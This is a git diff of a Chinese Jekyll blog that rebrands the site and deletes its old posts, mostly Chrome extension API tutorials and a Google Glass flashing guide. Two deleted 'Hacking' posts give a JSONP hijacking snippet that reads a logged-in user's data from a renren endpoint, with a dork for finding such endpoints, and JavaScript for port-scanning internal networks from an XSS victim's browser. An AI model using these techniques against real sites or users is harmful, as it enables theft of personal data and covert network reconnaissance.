diff --git a/CNAME b/CNAME index 688f11a..320be34 100644 --- a/CNAME +++ b/CNAME @@ -1 +1 @@ -ursb.org \ No newline at end of file +ber.3asec.com diff --git a/README.md b/README.md index e8f8df5..4845cab 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,5 @@ -Hotes +NodeVc === ###简介 简记,为简单而记! -本人小博客,地址:[Hotes](http://ursb.org/ "Hotes!") \ No newline at end of file +本人小博客,地址:[NodeVc](http://ber.3asec.com "NodeVc!") diff --git a/_config.yml b/_config.yml index b58d8d1..b1a44c6 100644 --- a/_config.yml +++ b/_config.yml @@ -1,10 +1,10 @@ # 网站信息设置 -url: "http://ursb.org" # 地址 -title: Hotes # 标题 -email: root@ursb.org # 邮箱 +url: "http://ber.3asec.com" # 地址 +title: NodeVc # 标题 +email: root@3asec.com # 邮箱 description: 简记,为简单而记! # 简介 -duoshuo_user: h01ger # 多说账号 -baidutongji: 39aaf5727abfcedefcdeecf3aad6d895 # 百度统计ID +duoshuo_user: nodevc # 多说账号 +baidutongji: fdd5f2dd4e4a585a6cddc347f109f1f3 # 百度统计ID # 编译设置 -markdown: kramdown # MarkDown \ No newline at end of file +markdown: kramdown # MarkDown diff --git a/_posts/Bootstrap/2014-11-09-contextmenu.markdown b/_posts/Bootstrap/2014-11-09-contextmenu.markdown deleted file mode 100644 index 4f2ae31..0000000 --- a/_posts/Bootstrap/2014-11-09-contextmenu.markdown +++ /dev/null @@ -1,141 +0,0 @@ ---- -category: Bootstrap -style: success -layout: post -title: BootStrap右键菜单插件:bmenu -desc: 基于bootstrap(v.3.2.0)写了个右键菜单的小"插件",这里简单介绍下使用方法。 -tags: [Bootstrap,bootstrap.contextmenu,bootstrap Table,contextmenu右键菜单,bmenu] ---- - -#### 简介 -之前在写一个`web桌面`应用框架的时候写过一款"中文"的插件,当时是自己写的`css`和`js`,除了图标之外不需要依赖`bootstrap`的支持。 -后来在测试的时候,发现并不怎么理想,尤其是在`firefox`、`Safari`下,中文有时候会不支持所以无法执行,并且想着还有很多`BUG`,于是就重新写了。。 - -目前貌似`bootstrap`已经更新到了`3.3.0`,但个人感觉不怎么美观,所以就在本人比较喜欢的`3.2.0`风格的基础上写了一点样式,想知道长啥样?右键试试! -[code:js:edoc] -// 项目地址 -var github = "https://github.com/h01/bmenu -[codend] - -#### 使用 -使用的方法很简单,首先在页面中加载我们的`js`文件: -[code:html:edoc] -<script src="bmenu.js"></script> -[codend] - -然后我们来配置我们要创建的菜单对象: -[code:js:edoc] -var menu = bmenu.init([ -{ - text: '文字', - icon: '图标class', - menu: '多级菜单', - callback: '回调函数', - disabled: '是否禁用' -} -]); -[codend] -然后我们把这个菜单绑定到`dom`上,比如`document`: -[code:js:edoc] -bmenu.bind(menu, document); -[codend] - -#### 文档 -从上面的例子中很清晰的就了解到,我们需要先定义一个菜单,然后再把这个菜单绑定到某个`dom`上。 -菜单的选项使用注意: -1.icon的图标为[Glyphicon字体图标](http://v3.bootcss.com/components/#glyphicons)中的图标,不过我们不需要前面的`glyphicon`,只需要后面的就可以了,比如:glyphicon-plus -2.其他可以不定义,`text`为必须,如果需要分隔符,只需要设置为`---`即可。如: -[code:js:edoc] -{ - text: '---' -} -[codend] -3.`disabled`默认为`false`,如果需要禁用只需要设置为`true`即可,一般不需要理会。 -4.`menu`多级菜单和一级菜单定义方法一样。 - -然后就是绑定方法,第一个参数为我们定义好的`menu`对象,第二个为要绑定某个`dom`的右键事件,如果是某个`ID`,则可以这样定义: -[code:js:edoc] -bmenu.bind(menu, document.getElementById('id')); -[codend] -当然,如果我们图方便,也可以使用`Jquery`,不过使用方法有改变如下: -[code:js:edoc] -bmenu.bind(menu, $('#id')[0]); -[codend] -最后,试试在下面的吐槽`div`里右键一下? - - \ No newline at end of file diff --git a/_posts/Chrome/2014-10-06-update.markdown b/_posts/Chrome/2014-10-06-update.markdown deleted file mode 100644 index 2dc8976..0000000 --- a/_posts/Chrome/2014-10-06-update.markdown +++ /dev/null @@ -1,74 +0,0 @@ ---- -category: Chrome -layout: post -title: Chrome扩展开发之自动更新升级 -desc: 这里简单介绍如何设置自动更新升级我们的Chrome扩展 -tags: [Chrome,update,Chrome扩展,Chrome扩展自动升级,Chrome扩展升级] ---- -#### 参考文档 -1.[自动升级--扩展开发文档][link-1] -2.[Autoupdating - Google Chrome][link-2] - -#### 配置文件 -我们直接在`manifest.json`中设置`update_url` -[code:javascript:edoc] -{ - ... - "update_url": "http://ursb.org/chrome/test/update.php", - ... -} -[codend] -`update.php`也可以为静态的xml文件地址,不过为了动态更新方便,直接用php读取数据库或者文本等等操作。。 - -输出的xml文件格式如下: -[code:xml:edoc] - - - - - - -[codend] -第一二行不用理解,第三行的`appid`为我们的扩展的ID,如何查看?直接生成crx后,拖入扩展程序页面即可看到(需要开发者选项) -然后关键的就是`updatecheck`这个节点了,`codebase`为更新的crx文件地址,`version`为更新的crx版本,这个版本要和crx文件中的版本一致。 - -#### 更新代码 -简单随手写了下,需要的拿去。。 -[code:php:edoc] -<?php -/* - * Chrome升级xml类 - * by Holger - * at 2014年10月06日 - */ -class ChromeUpdate{ - protected $aid = ""; - protected $crx = ""; - protected $ver = ""; - function __construct($appId, $crxUrl, $version){ - $this->aid = $appId; - $this->crx = $crxUrl; - $this->ver = $version; - } - function show(){ - header("Content-Type: text/xml;"); - $dom = new DOMDocument("1.0", "UTF-8"); - $gup = $dom->createElement("gupdate"); - $app = $dom->createElement("app"); - $chk = $dom->createElement("updatecheck"); - $gup->setAttribute("xmlns", "http://www.google.com/update2/response"); - $gup->setAttribute("protocol", "2.0"); - $app->setAttribute("appid", $this->aid); - $chk->setAttribute("codebase", $this->crx); - $chk->setAttribute("version", $this->ver); - $app->appendChild($chk); - $gup->appendChild($app); - $dom->appendChild($gup); - echo $dom->saveXML(); - } -} -?> -[codend] - -[link-1]: http://open.chrome.360.cn/extension_dev/autoupdate.html -[link-2]: https://developer.chrome.com/extensions/autoupdate \ No newline at end of file diff --git a/_posts/Chrome/2014-10-25-text2audio.markdown b/_posts/Chrome/2014-10-25-text2audio.markdown deleted file mode 100644 index 8c0a352..0000000 --- a/_posts/Chrome/2014-10-25-text2audio.markdown +++ /dev/null @@ -1,68 +0,0 @@ ---- -category: Chrome -layout: post -title: Chrome扩展开发之文字转语音功能 -desc: chrome.tts接口可将文字转语音,从而使用不痛的语速、音调来阅读文字。懒人必备〜 -tags: [Chrome,chrome.tts,Chrome扩展,Chrome扩展开发,Chrome文字转语音,文字转语音] ---- -以前使用文字转语音功能都是直接用的百度翻译接口: - - http://tts.baidu.com/text2audio?lan=zh&pid=101&ie=UTF-8&text=转语音的文字&spd=9 - -不过需要网络访问,对于本地应用来说貌似非常不着调〜。 -偶然看到了`chrome`的`tts API`,测试过后发现很有趣,所以记录一下,也给有需要的一点帮助。 -使用`tts`接口需要在`manifest.json`中声明权限: -[code:javascript:edoc] -"permissions": ["tts"] -[codend] - -简单例子: -[code:javascript:edoc] -chrome.tts.speak("Welcome to holger's notes") -[codend] - -不过也许你执行过后发现没有声音,经测试,个人觉得是因为没有加上"可选"的语言设置选项。 -`speak`方法需要三个参数: -[code:javascript:edoc] -chrome.tts.speak("要转换的文字[必选]", {设置[可选], 回调函数[可选]} -[codend] - -回调函数会在`speak`方法调用成功后立刻执行,所以可能会在播放结束之前就已经调用了。 -其中设置的结构如下: -[code:javascript:edoc] -{ - enqueue: "是否将朗读任务加入队列[true|false];true=之前任务结束后才开始", - voiceName: "朗读所使用的声音名称", - extensionId: "为朗读提供声音引擎扩展的ID", - lang: "朗读文字所使用的语言", - gender: "朗读者的性别,也就是发音人是男[male]或女[female]", - rate: "朗读语速[0.1-10.0],默认为1.0", - pitch: "朗读语调[0-2.0],默认为1.0", - volume: "朗读音量[0-1.0],默认为1.0", - requireEventTypes: "声音必须支持的事件", - desiredEventTypes: "需要监听的事件(未指定监听全部事件的情况下)", - onEvent: "用于监听事件的函数" -} -[codend] - -以上设置参考`《Chrome扩展及应用开发》`一书,有兴趣可自行研究。 -例如,朗读一段中文如下: -[code:javascript:edoc] -chrome.tts.speak("哈哈哈,哈哈哈哈,哈哈哈哈哈哈,活捉蛇精病患者一枚!", {lang: "ZH-CN", rate: 3.0}) -[codend] -其中`rate`并不是越大朗读速度越快,具体自行测试〜 - -如果需要阅读几段文字,同时执行的话可能只会朗读最后一段,所以我们需要`enqueue`加入队列设置前面播放完毕再播放: -[code:javascript:edoc] -chrome.tts.speak("哭疼老叔婚丫", {lang: "ZN-CN", enqueue: true}); -chrome.tts.speak("小乔流水人渣", {lang: "ZN-CN", enqueue: true}); -chrome.tts.speak("鼓捣西峰手麻", {lang: "ZN-CN", enqueue: true}); -chrome.tts.speak("你丑,没事,我瞎", {lang: "ZH-CN", enqueue: true}); -[codend] - -哈哈,基本的使用就是这样了,如果想了解支持的语言的话,可输入以下命令查看 -[code:javascript:edoc] -chrome.tts.getVoices(function(v){ - console.log(v); -}) -[codend] \ No newline at end of file diff --git a/_posts/Chrome/2014-10-26-chrome.bookmarks.markdown b/_posts/Chrome/2014-10-26-chrome.bookmarks.markdown deleted file mode 100644 index 50ecc31..0000000 --- a/_posts/Chrome/2014-10-26-chrome.bookmarks.markdown +++ /dev/null @@ -1,129 +0,0 @@ ---- -category: Chrome -layout: post -title: Chrome扩展开发之书签管理 -desc: chrome.bookmarks接口的添加、管理、删除、编辑书签等各种功能使用。 -tags: [Chrome,Chrome扩展开发,Chrome书签管理,Chrome.bookmarks] ---- -#### 声明权限 -[code:js:edoc] -{ - "permissions": ["bookmarks"] -} -[codend] - -#### 创建书签 -[code:js:edoc] -// 创建文件夹 -chrome.bookmarks.create({ - title: "文件夹2", - parentId: "1" // 父ID(如果知道且设为文件夹的ID,则会在对应书签文件夹中建立,设置1为在顶部书签栏设置,否在在"其他书签"中建立 -}, function(bookmark){ - // 创建成功会反回该文件夹对象 - console.log(bookmark); -}); -// 创建书签 -chrome.bookmarks.create({ - title: "Holger的笔记", - url: "https://ursb.org/", - parentId: "1" // 如果要在文件夹中创建,则需指定文件夹的ID -}, function(bm){ - console.log(bm); -}); -[codend] - -#### 调整书签位置 -[code:js:edoc] -chrome.bookmarks.move('250', { - parentId: '1', // 要移动到的文件夹ID,1=顶部文件夹 - index: 55 // 在文件夹中的位置 -}, function(bm){ - console.log(bm); -}); -[codend] - -#### 修改更新标签 -[code:js:edoc] -chrome.bookmarks.update('167', { - title: '修改后的标题', - url: 'https://ursb.org/notes/' -}, function(bm){ - console.log(bm); -}); -[codend] - -#### 删除书签和文件夹 -[code:js:edoc] -// 删除书签或空的文件夹 -chrome.bookmarks.remove('250', function(){ - console.log('ID=250的书签已经删除!'); -}); -// 删除包含书签或文件夹的书签分组(文件夹) -chrome.bookmarks.removeTree('250', function(){ - console.log('ID=250的文件夹已经删除!'); -}); -[codend] - -#### 获取书签和分组 -[code:js:edoc] -// 获取所有书签和文件夹 -chrome.bookmarks.getTree(function(bms){ - console.log(bms); -}); -// 获取指定文件夹下所有书签列表 -chrome.bookmarks.getChildren('250', function(bms){ - console.log(bms); -}); -// 获取指定文件夹下所有书签和文件夹列表 -chrome.bookmarks.getSubTree('0', function(bms){ - console.log(bms); -}); -// 获取指定书签或文件夹属性(如标题,URL,ID等,第一个参数可以为字符串,也可以是字符串数组) -chrome.bookmarks.get(['100', '101', '102'], function(arr){ - console.log(arr); -}); -// 获取最近添加的书签列表(第一个参数为获取的数量) -chrome.bookmarks.getRecent(100, function(bms){ - console.log(bms); -}); -// 搜索书签 -chrome.bookmarks.search('keyword', function(bms){ - console.log(bms); -}); -[codend] - -#### 书签事件 -[code:javascript:edoc] -// 创建书签事件 -chrome.bookmarks.onCreated.addListener(function(bm){ - console.log("创建了书签"); - console.log(bm); -}); -// 删除书签事件 -chrome.bookmarks.onRemoved.addListener(function(id, info){ - console.log("删除了书签:" + id); - console.log(info); // info包含要删除的书签的parentId和index属性 -}); -// 更新书签事件 -chrome.bookmarks.onChanged.addListener(function(id, info){ - console.log("更新了书签:" + id); - console.log(info); // info包含书签更新后的title和url属性 -}); -// 移动书签事件 -chrome.bookmarks.onMoved.addListener(function(id, info){ - console.log("移动了书签:" + id); - console.log(info); // info包含移动前parentId,index和移动后oldParentId,oldIndex属性 -}); -// 文件夹下书签节点顺序更改事件 -chrome.bookmarks.onChildrenReorderd.addListener(function(id, info){ - console.log("子节点顺序更改了:" + id); - console.log(info); -}); -// 导入书签事件 -chrome.bookmarks.onImportBegan = function(){ - console.log("书签导入开始.."); -}; -chrome.bookmarks.onImportEnded = function(){ - console.log("书签导入结束.."); -}; -[codend] \ No newline at end of file diff --git a/_posts/Chrome/2014-10-26-chrome.cookies.markdown b/_posts/Chrome/2014-10-26-chrome.cookies.markdown deleted file mode 100644 index 3b7ef15..0000000 --- a/_posts/Chrome/2014-10-26-chrome.cookies.markdown +++ /dev/null @@ -1,79 +0,0 @@ ---- -category: Chrome -layout: post -title: Chrome扩展开发之Cookie管理 -desc: 记录chrome.cookies接口的读取,设置,添加,删除,监控等功能。 -tags: [Chrome,Chrome扩展开发,ChromeCookie管理,Chrome.cookies] ---- -#### 设置权限 -[code:js:edoc] -"permissions": [ - "cookies", - "<all_urls>" // 此处设置为管理所有COOKIE,如果需要指定的地址,则为对应的URL -] -[codend] - -#### 读取cookie -[code:js:edoc] -// get方法获取指定url和name等匹配的cookie(url和name为必须) -chrome.cookies.get({ - url: "https://ursb.org", - name: "vist" -}, function(cs){ - console.log(cs); -}); -// getAll方法获取所有匹配条件的cookies -// 1.获取某域下所有cookies -chrome.cookies.getAll({ - url: "https://ursb.org" -}, function(cs){ - console.log(cs); -}); -// 2.获取所有cookies -chrome.cookies.getAll({}, function(cs){ - console.log(cs); -}); -[codend] - -#### 设置cookie -[code:js:edoc] -chrome.cookies.set({ - url: "https://ursb.org", // 必选,其他可选(如果不存在则创建) - name: "vist", - value: "250" -}, function(cookie){ - console.log(cookie); // 此处cookie为修改后的cookie||null -}); -[codend] - -#### 删除cookie -[code:js:edoc] -chrome.cookies.remove({ - url: "https://ursb.org", - name: "vist" -}, function(res){ - console.log(res); // res=删除的cookie对象 -}); -[codend] - -#### 获取全部CookieStore -[code:js:edoc] -// chrome.cookies.getAllCookieStores(callback); -// 我们首先要定义一个获取结果的回调函数,如下 -function getAllCS(cs){ - console.log(cs); -}; -// 然后直接调用 -chrome.cookies.getAllCookieStores(getAllCS); -// *.只返回一个id属性和一个tabIds属性 -// *.id属性为这个cookieStore的id -// *.tabIds为一个数组,包含了共享该cookieStore的所有tab的id -[codend] - -#### 监控操作cookie行为 -[code:js:edoc] -chrome.cookies.onChanged.addListener(function(info){ - console.log(info); -}); -// 在测试中,发现如果在console里进行cookie操作(删除,设置等)的时候,不会调用 -[codend] \ No newline at end of file diff --git a/_posts/Chrome/2014-10-27-chrome.history.markdown b/_posts/Chrome/2014-10-27-chrome.history.markdown deleted file mode 100644 index 868b3fb..0000000 --- a/_posts/Chrome/2014-10-27-chrome.history.markdown +++ /dev/null @@ -1,79 +0,0 @@ ---- -category: Chrome -layout: post -title: Chrome扩展开发之History管理 -desc: 历史用于记录用户访问过的页面。Chrome提供了history接口,允许扩展对用户的访问历史进行管理。 -tags: [Chrome,Chrome扩展开发,ChromeHistory管理,Chrome.history] ---- -#### 声明权限 -[code:js:edoc] -"permissions": ["history"] -[codend] - -#### 读取历史 -[code:js:edoc] -// chrome.history.getVisits(Object, callback); -// Object中url为必选参数 -// Callback中返回的对象有6个属性:id, url, title, lastVisiTime, visitCount, typedCount -chrome.history.getVisits({ - url: "https://ursb.org" -}, function(historys){ - console.log(historys); -}); -[codend] - -#### 搜索历史 -[code:js:edoc] -chrome.history.search({ - text: "Holger", // 匹配指定文字 - startTime: new Date().getTime() - 24*3600*1000, // 开始时间 - endTime: new Date().getTime(), // 结束时间 - maxResults: 20 // 返回的最大数组总数 -}, function(arr){ - console.log(arr); // arr包含id, visitId, visitTime, referringVisitId, transition属性 -}); -[codend] - -#### 添加历史 -[code:js:edoc] -// chrome.history.addUrl(Object, callback) -// Object只需要url参数即可,callback为执行成功后调用 -chrome.history.addUrl({ - url: "https://ursb.org/notes/?i=17" -}, function(){ - console.log("添加成功!"); -}); -[codend] - -#### 删除历史 -[code:js:edoc] -// 删除指定URL的历史 -chrome.history.deleteUrl({ - url: "https://ursb.org" -}, function(){ - console.log("deleted done!"); -}); -// 删除指定时间段历史 -chrome.history.deleteRange({ - startTime: new Date().getTime()-24*3600*1000, - endTime: new Date().getTime() -}, function(){ - console.log("..."); -}); -// 删除全部的历史 -chrome.history.deleteAll(function(){ - console.log("!!"); -} -[codend] - -#### 监听历史操作 -[code:js:edoc] -// 监听用户访问历史 -chrome.history.onVisited.addListener(function(item){ - console.log(item); -}; -// 监听用户删除历史 -chrome.history.onVisitRemoved.addListener(function(item){ - console.log(item); -} -[codend] \ No newline at end of file diff --git a/_posts/Chrome/2014-10-27-chrome.management.markdown b/_posts/Chrome/2014-10-27-chrome.management.markdown deleted file mode 100644 index faf77ac..0000000 --- a/_posts/Chrome/2014-10-27-chrome.management.markdown +++ /dev/null @@ -1,40 +0,0 @@ ---- -category: Chrome -layout: post -title: Chrome扩展开发之扩展与应用管理 -desc: 通过Chrome的management接口来完成用户已安装的扩展和应用管理。 -tags: [Chrome,Chrome扩展开发,Chrome插件管理,Chrome扩展管理,Chrome.management] ---- -#### 设置权限 -[code:js:edoc] -{ - "permissions": ["management"] -} -[codend] - -#### 读取信息 -[code:js:edoc] -chrome.management.getAll(function(arr){ - console.log(arr); -} -[codend] - -#### 获取权限警告 -[code:js:edoc] -chrome.management.getPermissionWarningsById("扩展的ID", function(warning){ - console.log(warning); -} -[codend] - -#### 启用禁用扩展 -[code:js:edoc] -// true=启用;false=禁用 -chrome.management.setEnabled("扩展ID", false, function(){ - console.log("."); -} -[codend] - -#### 卸载扩展 -[code:js:edoc] -// 等待实验中.. -[codend] \ No newline at end of file diff --git a/_posts/Chrome/2014-11-25-chrome.proxy.markdown b/_posts/Chrome/2014-11-25-chrome.proxy.markdown deleted file mode 100644 index 33bd289..0000000 --- a/_posts/Chrome/2014-11-25-chrome.proxy.markdown +++ /dev/null @@ -1,108 +0,0 @@ ---- -category: chrome -layout: post -title: Chrome扩展设置代理方法 -desc: 对chrome.proxy的简单介绍以及如何使用chrome.proxy进行网页代理访问 -tags: [chrome.proxy,chrome代理,chrome设置代理] ---- -#### 参考文档 -1.[Proxy](https://lmk123.duapp.com/extensions/proxy) -2.[ChromeSetting](https://lmk123.duapp.com/extensions/types#ChromeSetting) -照顾像我这样不翻墙、E文差的伙伴。。 - -#### 声明权限 -[code:js:edoc] -{ - "permissions": ["proxy"] -} -[codend] - -#### 基本方法 -[code:js:edoc] -chrome.proxy.settings = { - clear: function (details, callback) {}, - get: function (details, callback) {}, - set: function (details, callback) {}, - onChange: Event -} -[codend] - -#### 实现原理 -先看下`chrome.proxy.settings.get`的源码: -[code:js:edoc] -chrome.proxy.settings.get = function (details, callback) { - var getSchema = this.functionSchemas.get.definition.parameters; - validate([details, callback], getSchema); - return sendRequest('types.ChromeSetting.get', - [prefKey, details, callback], - extendSchema(getSchema)); -} -[codend] -其他源码也类似,就不贴了。通过代码可以看出,其实。。只是对`ChromeSettiing`进行了封装而已。。 - -#### 获取代理设置 -[code:js:edoc] -chrome.proxy.settings.get({}, function(config){ - console.log(config.value); -}) -[codend] -其中第一个参数为要获取的策略,比如在隐身模式下的设置等,具体可以参考文档2 - -#### 清除代理设置 -[code:js:edoc] -chrome.proxy.settings.clear({},function(){}) -[codend] -其实就是把代理设置为默认 - -#### 设置代理 -[code:js:edoc] -// 代理配置 -var config = { - mode: 'fixed_servers', - // mode模式有几种: - // 1.direct 直接连接 - // 2.auto_detect 使用WPAD设置 - // 3.pac_script 使用PAC脚本 - // 4.fixed_servers 使用固定代理服务器 - // 5.system 使用系统设置 - rules: { - proxyForHttp: { - scheme: 'http', // 代理方法 - host: '127.0.0.1', // 代理地址 - port: 8080 // 代理端口 - }, - // rules规则有几种: - // 1.singleProxy // 用于所有请求协议 - // 2.proxyForHttp // 用于http协议 - // 3.proxyForHttps // 用于https协议 - // 4.proxyForFtp // 用于ftp协议 - // 5.fallbackProxy // 用于其他协议,如上未选协议 - // 6.bypassList // 白名单列表,为不使用代理的url数组 - } -} -// 设置代理 -chrome.proxy.settings.set({ - value: config, // 配置,为我们所定义 - scope: 'regular' // 类型,可参考文档2 -}, function(){ - console.log("设置完毕后的回调函数"); -}) -[codend] - -#### 设置代理:pacScript -[code:js:edoc] -var pacJs = ' -function FindProxyForURL(u, h){ - return "PROXY 127.0.0.1:8080"; -} -'; -var config = { - mode: 'pac_script', - pacScript: { - data: pacJs - } -}; -// ..后面相同设置 -[codend] - -其他设置日后再添〜 \ No newline at end of file diff --git a/_posts/Chrome/2014-11-28-storage.markdown b/_posts/Chrome/2014-11-28-storage.markdown deleted file mode 100644 index 3123596..0000000 --- a/_posts/Chrome/2014-11-28-storage.markdown +++ /dev/null @@ -1,62 +0,0 @@ ---- -category: Chrome -layout: post -title: Chrome.storage存储API简单使用 -desc: 有时候我们不满足于localStorage只能保存string的单调功能,那么试一试chrome.storage中存储多种类型的本领? -tags: [chrome,chrome.storage,chrome存储API] ---- -#### 参考文档 -1.[lmk123.duapp.com](https://lmk123.duapp.com/extensions/storage) -*.本文中的操作实例仅仅使用`storage.local`,其他API都类似。 - -#### 声明权限 -[code:js:edoc] -{ - "permissions": ["storage"] -} -[codend] - -#### 保存数据 -[code:js:edoc] -// chrome.storage.local.set函数需要两个参数,一个为存储对象,一个为回调函数 -chrome.storage.local.set({ - string: '可以存储字符串', - array: ['或者', '数组'], - object: {k: '或者', v: '对象'}, - int: 111 -}, function(){ - console.log('保存成功'); -}) -[codend] - -#### 获取数据 -[code:js:edoc] -// chrome.storage.local.get函数需要两个参数,第一个为要获取的键值,第二个是获取成功回调函数 -chrome.storage.local.get('array', function(arr){ - console.log(arr); -}); -// 还可以这样 -chrome.storage.local.get(['object', 'string'], function(obj){ - console.log(obj.object); - console.log(obj.string); -}); -[codend] - -#### 删除数据 -[code:js:edoc] -chrome.storage.local.remove('string', function(){ - console.log('删除成功'); -}); -// 或者 -chrome.storage.local.remove(['int', 'array'], function(){ - console.log('删除成功'); -}); -[codend] - -#### 清空数据 -[code:js:edoc] -chrome.storage.local.clear(); -[codend] - -#### 监听事件 -由于不怎么使用,暂时不记。。 \ No newline at end of file diff --git a/_posts/Chrome/2015-01-04-content-sendrequest-background.markdown b/_posts/Chrome/2015-01-04-content-sendrequest-background.markdown deleted file mode 100644 index bc8483c..0000000 --- a/_posts/Chrome/2015-01-04-content-sendrequest-background.markdown +++ /dev/null @@ -1,42 +0,0 @@ ---- -category: chrome -layout: post -title: Chrome扩展background与content通信 -desc: 简单使用content脚本与background脚本之间互相通信 -tags: [chrome通信,chrome background与content通信] ---- -#### 配置文件 -在`manifest.json`中声明`background`与`content`: -[code:js:edoc] -"background": { - "scripts": ["background.js"] -}, -"content_scripts": [{ - "all_frames": true, - "js": ["content.js"], - "matches": ["http://*/*", "https://*/*"], - "run_at": "document_start" -}] -[codend] -当然,代码仅供参考,具体API请查阅文档,这里只是说明要定义的文件名。 - -#### 后台监听与发送 -[code:js:edoc] -// 监听消息事件 -chrome.extension.onRequest.addListener(function(request, sender, sendResponse){ - var msg = '后台收到信息:' + request; - // 返回消息 - chrome.tabs.sendRequest(sender.tab.id, msg); - console.log(msg); -}); -[codend] - -#### 内容脚本发送与监听 -[code:js:edoc] -// 监听消息 -chrome.extension.onRequest.addListener(function(request, sender, sendResponse){ - console.log('内容脚本收到信息:' + request); -}); -// 发送消息 -chrome.extension.sendRequest('内容脚本发送消息不需要指定也没有tab', function(data){}); -[codend] \ No newline at end of file diff --git a/_posts/Glass/2014-11-27-flash-system.markdown b/_posts/Glass/2014-11-27-flash-system.markdown deleted file mode 100644 index a1224f2..0000000 --- a/_posts/Glass/2014-11-27-flash-system.markdown +++ /dev/null @@ -1,55 +0,0 @@ ---- -category: Glass -layout: post -title: Google glass简单刷机 -desc: 闲置了一阵子的Glass自从root后各种不好用,新rom已经出了一阵子了,立马从XE19.1刷到XE22吧! -tags: [google glass,google glass刷机,glass刷机,谷歌眼镜,谷歌眼镜刷机] ---- -#### 系统下载 -1.[谷歌官方](https://developers.google.com/glass/tools-downloads/system) -2.[翻墙地址](https://awk.so/@developers.google.com!/glass/tools-downloads/system) -推荐进入翻墙地址,然后复制`System Image`的下载链接,比如最新的(XE22):`http://awk.so/@dl.google.com!/glass/xe22/signed-glass_1-img-1511057.zip`,换为官方地址则为:`http://dl.google.com/glass/xe22/signed-glass_1-img-1511057.zip`。把此地址放入QQ旋风或者百度网盘离线下载即可〜 -最后下载完成,把他解压出来吧 - -#### 开始刷机 -先保证设备电量足够并且已经安装好`adb`和`fastboot`命令环境〜 -然后开机状态下连接windows,最好不要用osx,为什么?因为远离变砖〜 -然后输入命令重启设备: -[code:bash:edoc] -// 查看设备是否连接 -$ adb devices -// 重启设备 -$ adb reboot bootloader -[codend] -然后过一阵子(大概一两分钟)设备重启完毕,输入命令查看是否已经进入刷机模式: -[code:bash:edoc] -$ fastboot devices -[codend] -然后进入我们解压的系统文件目录,开始刷机! -[code:bash:edoc] -// 解锁设备 -$ fastboot oem unlock -// 刷入boot.img -$ fastboot flash boot boot.img -// 刷入system -$ fastboot flash system system.img -// 刷入recovery -$ fastboot flash recovery recovery.img -[codend] -OK,等待那么五分钟左右就好了,接下来就是要清除设备的数据: -[code:bash:edoc] -$ fastboot erase cache -$ fastboot erase userdata -[codend] -最后如果需要`root`(不推荐)的话,则输入命令: -[code:bash:edoc] -$ fastboot oem unlock -[codend] -否则直接锁定设备好了: -[code:bash:edoc] -$ fastboot oem lock -[codend] -最后的最后,重启,初始化,搞定! -[code:bash:edoc] -$ fastboot reboot -[codend] \ No newline at end of file diff --git a/_posts/Hacking/2014-11-10-jsonp-getuserinfo.markdown b/_posts/Hacking/2014-11-10-jsonp-getuserinfo.markdown deleted file mode 100644 index 4222544..0000000 --- a/_posts/Hacking/2014-11-10-jsonp-getuserinfo.markdown +++ /dev/null @@ -1,37 +0,0 @@ ---- -category: Hacking -layout: post -title: 使用JSONP攻击探测目标用户信息 -desc: jsonp攻击已经算是很成熟了,出来了应该很久,但是知道的人也许并不是很多。这个玩意能做什么呢?也许你能让TA发挥更强大! -tags: [jsonp,xss,xss-jsonp,jsonp攻击,探测信息] ---- -#### 科普 -如果你是第一次听说这个玩意,可以点击[jsonp-百度百科](http://baike.baidu.com/view/2131174.htm?fr=aladdin)进行大概的了解。 - -#### 原理 -很多大型的网站,比如百度、QQ、人人、新浪等等社交网站,都存在`jsonp`接口以方便其他页面调用。 -比如要获取当前的登陆用户信息,则需要在本地定义一个接收用户信息的函数,然后再使用`>`标签进行跨域地访问`jsonp`接口,`jsonp`返回的数据一般都是`json`格式,也就是`js`可以直接`eval`的代码,然后再把执行成功的`object`返回给用户定义的函数。 -额,这个是个人的简单理解,因人而已,可以不必纠结。。 - -#### 利用 -我们先定义一个我们的接收函数: -[code:javascript:edoc] -function cb(data){ - console.log('[*] 获取到数据..'); - console.log(data); -} -[codend] - -然后再添加一个`>`标签引用我们扫描到的`jsonp`接口: -[code:html:edoc] -<script src="http://passport.game.renren.com/user/info?callback=cb"></script> -[codend] -这里注意的是,`URL`中的`callback`参数为我们定义的函数名称。如果不出意外,`js`脚本在执行完毕之后就会执行我们的`cb`函数了。 - -#### 扩展 -综上所述,如果我们需要探测对方的信息,则需要更多的`jsonp`接口来探测,这时候问题就来了,我们如何去扫描`jsonp`接口呢? -根据一般的`jsonp`地址不难看出有个特性,就是基本都有`callback`参数,那么我们就可以直接使用搜索引擎搜索类如: -[code:shell:edoc] -site:qq.com inurl:callback -[codend] -还可以自己写个插件神马的,浏览一个网站的时候判断所访问的所有`url`地址,然后判断是否为`jsonp`,那效率杠杠的! \ No newline at end of file diff --git a/_posts/Hacking/2014-11-12-xss-scanPorts.markdown b/_posts/Hacking/2014-11-12-xss-scanPorts.markdown deleted file mode 100644 index 1c7a621..0000000 --- a/_posts/Hacking/2014-11-12-xss-scanPorts.markdown +++ /dev/null @@ -1,30 +0,0 @@ ---- -category: hacking -layout: post -title: xss中使用js扫描外|内网端口 -desc: 在xss攻击中,为了更深一步探测信息,可以尝试着获取一下内网IP段,然后进行端口扫描。当然,神马中间人攻击、跳板exp的这里就不说了。 -tags: [xss,javascript扫描端口,xss扫描端口] ---- -#### 原理 -因为能允许跨域访问的URL实在太少,所以使用`Ajax`技术来实现貌似不太可能,还好,有了一个比较好的思路。 -因为例如`img`,`script`等标签都可以进行跨域访问外部资源,所以这就给了我们想象空间。如果我们创建一个`script`,然后地址为内网的ip+端口,如果加载成功(就算代码执行出错)也会触发`onload`事件,这时候我们所要达到的目的已经完成了。 - -#### 实现 -先简单贴一些代码: -[code:javascript:edoc] -function scan(ip, port){ - var s = document.createElement("script"); - s.src = "http://" + ip + ":" + port; - s.onload = function(){ - console.log("[*] IP:%s PORT:%s OPEN!", ip, port); - } - document.body.appendChild(s); -} -[codend] -然后我们使用`for`循环扫描端口,例如: -[code:javascript:edoc] -for (var i = 0; i < 100; i++) { - scan("10.1.1.1", i); -}; -[codend] -这时候如果对方端口打开,就会触发`onload`事件了,事件里的功能代码可以随意扩展〜 \ No newline at end of file diff --git a/_posts/Hacking/2014-11-24-beef-install.markdown b/_posts/Hacking/2014-11-24-beef-install.markdown deleted file mode 100644 index e594d65..0000000 --- a/_posts/Hacking/2014-11-24-beef-install.markdown +++ /dev/null @@ -1,32 +0,0 @@ ---- -category: hacking -layout: post -title: Mac下安装beeF以及简单使用 -desc: 